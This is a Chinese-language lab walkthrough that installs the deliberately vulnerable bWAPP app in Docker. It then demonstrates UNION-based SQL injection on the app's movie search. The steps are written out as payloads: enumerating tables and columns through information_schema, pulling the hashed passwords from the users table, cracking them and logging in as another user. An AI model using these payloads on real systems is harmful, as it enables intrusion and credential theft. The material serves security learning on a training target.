docker安装靶场环境bWAPP以及SQL注入拿到用户密码登陆系统

一:docker安装靶场环境bWAPP

//1.拉取镜像
docker pull raesene/bwapp

//2.运行镜像20008是映射到本地端口,自己随意一般10000-50000的端口计算机默认不使用,选取这个区间的端口更合适点--restart=always 也可以去掉,随意
docker run --name bwapp -d -p 20008:80 --restart=always raesene/bwapp

(1)第一次访问,需要初始化数据库,如图点击即可完成数据库的初始化

http://localhost:20008/install.php
image-20230803225131920

(2)初始化成功,成功之后访问:http://localhost:20008/

image-20230803225234771

(3)根据默认账号登陆

user:bee

password:bug
image-20230803225403232-1691075844173

(4)登陆成功之后

右上角选择当前的的漏洞:

我这里选择的是sql 搜索注入漏洞,然后点击hack即可
image-20230803225443309

二:攻击学习:

(1)第一步可以填写信息的并且回显的,我们输入’这个单引号,然后查询。看是否会有sql报错,如果有,99.9%则有sql注入漏洞。

image-20230803225545259

image-20230803225603175

他这个直接错误信息都显示在了前端,并且我们还知道他这个是MySQL数据库了。不然我们需要f12然后network去看发起的请求。看对应的response。

image-20230803225626426

(2)确定有sql注入漏洞,想办法拿到隐藏信息,

通过写查询条件测试,输入框里面拼接的是movie的title来进行搜索的,那么我加入恒等式 or 1=1即可拿到所有的信息。

猜想他的后台sql 

select * from table_name where title = '' 

那么我这样输入信息即可

G' or 1 =1 # 

或者-- (-- 空格也是注释)

G' or 1 =1 -- 

select * from table_name where title = 'G' or 1 =1 # ' 

发现与什么都不填写的数据都是十条,那没事了。准备思考如何拿到用户表

image-20230803225743633

(3)想办法拿到数据库的所有表,的用户表的用户名和密码,重点就是user,password.

select * from table_name where title = 'G' or 1 =1 # ' 

database(),version(),user(),函数可以拿到当前的数据库,版本号,用户。

G' or 1 =1 # 

G' union select 1,2,3,4,5 #

image-20230803225853268

(4)测试union select 1,2,3,4,5 …n,直到能正常回显数据。

测试n为7

G' union select 1,2,3,4,5,6,7 #

image-20230803230000487

(5)正常显示之后,则将对应的函数替换为上述的1—N的column。

比如

G' union select database(),version(),user(),4,5,6,7 #

image-20230803230044648

(6)但是database没有正常显示,说明这个不是一个字符串类型,不能直接这样显示,那么换成另外一个字段来显示

比如

G' union select 1,version(),user(),database(),5,6,7 #

如图正常显示了数据库名字bWAPP,版本号5.5.47-0ubuntu0.14.04.1,user:root@localhost,由于是靶场环境,所以是localhost,如果是服务器,这里应该是数据库服务器的ip地址:

image-20230803230135998

(7)那么现在可以拿到这个数据库里面的所有表

G' union select table_name from information_schema.tables where table_schema ='bWAPP' #

select table_name from information_schema.tables where table_schema ='bWAPP'


select * from select * from A where title = ' G' union select 1,version(),user(),database(),table_name,6,7 from information_schema.tables where table_schema=database() #
//也可以直接使用database()
G' union select 1,version(),user(),database(),table_name,6,7 from information_schema.tables where table_schema=database() #

可以拿到所有的table:blog,heroes,movies,users,visitors.

字面意思我们需要users表里面的所有字段

image-20230803230245755

(8) 拿到users表里面的所有字段;将上述的sql的table_name,以及information_schema.tables 换成column_name和information_schema.columns即可

select * from select * from A where title = ' G' union select 1,version(),user(),database(),column_name,6,7 from information_schema.columns where table_schema='users' #

G' union select 1,version(),user(),database(),column_name,6,7 from information_schema.columns where table_schema='users' #

image-20230803230430587

(9) 以上字段分析觉得 id ,login,user_agent,admin(由于默认给的账号是bee/bug)我认为这个admin可能是判断是否是管理员权限的字段,并不是登陆id。密码就是字面意思password字段。

G' union select 1,id,login,user_agent,password,6,7 from users # 
这里我不明白为什么user_agent字段不存在

image-20230803230545016

暂时去掉user_agent

G' union select 1,id,login,4,password,6,7 from users # 

结果如下,id应该是自增主键,login是登陆的用户id

1	A.I.M.	6885858486f31043e5839c735d99457f045affd0	4	Link

2	bee	6885858486f31043e5839c735d99457f045affd0	4	Link

密码可以看出是加密的,并且2个密码一样,我们可以知道是bug,

我们可以去md5.com去撞库

撞库地址

image-20230803230705425

image-20230803230719556

(10)使用账号A.I.M. 密码为bug登录系统

A.I.M. 
bug

image-20230803230804532

(11)登录成功可以看见欢迎换成了A.I.M. 了

image-20230803230825096